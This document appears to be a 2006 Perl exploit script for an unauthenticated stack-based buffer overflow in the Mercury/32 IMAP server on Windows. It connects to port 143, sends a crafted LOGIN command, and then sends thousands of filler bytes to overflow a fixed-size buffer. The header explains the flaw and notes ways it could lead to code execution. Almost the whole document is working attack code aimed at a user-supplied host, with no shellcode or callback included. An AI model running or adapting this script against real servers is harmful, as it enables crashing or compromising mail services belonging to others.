mercurypown-v1.pl.txt

`#!/usr/bin/perl  
#  
# mercurypown-v1.pl  
#  
# Mercury/32 <v4.01b (win32) remote exploit  
# by mu-b - 28 Nov 2006  
#  
# - Tested on: Mercury/32 v4.01a (win32)  
# Mercury/32 v4.01b (win32)  
#  
# Stack-based buffer overflow caused by Mercury/32 concatenating  
# continuation data into a fixed sized buffer disregarding  
# the length of the original command, you do not require authentication.  
#  
# This is a little harder to exploit than usual since the  
# stack frame in question calls end_thread before returning..  
# buts it's still possible by at *least* two different ways...  
# (i.e. controlling a pointer into sprintf and/or controlling  
# a pointer to be free()).  
#  
########  
  
use Getopt::Std; getopts('t:n:', \%arg);  
use Socket;  
  
&print_header;  
  
my $target;  
  
if (defined($arg{'t'})) { $target = $arg{'t'} }  
if (!(defined($target))) { &usage; }  
  
my $imapd_port = 143;  
my $send_delay = 1;  
  
my $NOP = 'A';  
my $LEN = 9200;#8928;  
my $BUFLEN = 8192;  
  
if (connect_host($target, $imapd_port)) {  
print("-> * Connected\n");  
$buf = "1 LOGIN".(" "x($LEN-$BUFLEN))."\{255\}\n";  
send(SOCKET, $buf, 0);  
sleep($send_delay);  
  
print("-> * Sending payload\n");  
$buf = $NOP x 255;  
send(SOCKET, $buf, 0);  
sleep($send_delay);  
  
print("-> * Sending payload 2\n");  
$buf = $NOP x $BUFLEN;  
send(SOCKET, $buf, 0);  
sleep($send_delay);  
  
print("-> * Successfully sent payload!\n");  
}  
  
sub print_header {  
print("Mercury/32 <v4.01b (win32) remote exploit\n");  
print("by: <mu-b\@digit-labs.org>\n\n");  
}  
  
sub usage {  
print(qq(Usage: $0 -t <hostname>  
  
-t <hostname> : hostname to test  
));  
  
exit(1);  
}  
  
sub connect_host {  
($target, $port) = @_;  
$iaddr = inet_aton($target) || die("Error: $!\n");  
$paddr = sockaddr_in($port, $iaddr) || die("Error: $!\n");  
$proto = getprotobyname('tcp') || die("Error: $!\n");  
  
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");  
connect(SOCKET, $paddr) || die("Error: $!\n");  
return(1337);  
}  
`